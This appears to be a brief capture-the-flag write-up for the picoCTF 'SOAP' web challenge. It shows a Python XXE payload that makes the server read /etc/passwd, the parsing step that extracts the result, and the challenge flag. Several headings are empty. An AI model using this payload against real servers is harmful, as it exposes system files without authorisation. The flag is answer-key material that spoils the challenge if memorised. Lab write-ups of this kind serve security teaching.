Writeups PicoCTFWebXXE

SOAP Writeup - PicoGym

Writeup for the SOAP challenge from PicoCTF PicoGym.

Contents

Category: Web Exploitation

Difficulty: Medium

Points: 100

Description

The server accepts an XML body at a /data endpoint. A scripts endpoint leaks some JavaScript, and the main page hints that the backend parses XML directly.

Overview

Solution

Step 1: Identify the Attack Surface

Step 2: Craft the XXE Payload

data = '<?xml version="1.0" encoding="UTF-8"?>' \
       '<!DOCTYPE data [<!ENTITY file SYSTEM "file:///etc/passwd">]>' \
       '<data><ID>&file;</ID></data>'

r = requests.post(url + "/data", data=data)

Step 3: Extract the Flag

result = r.text.splitlines()[-1].split(":")[-1]

Why XXE Works Here

Flag

picoCTF{XML_3xtern@l_3nt1t1ty_e79a75d4}

← Back to Blog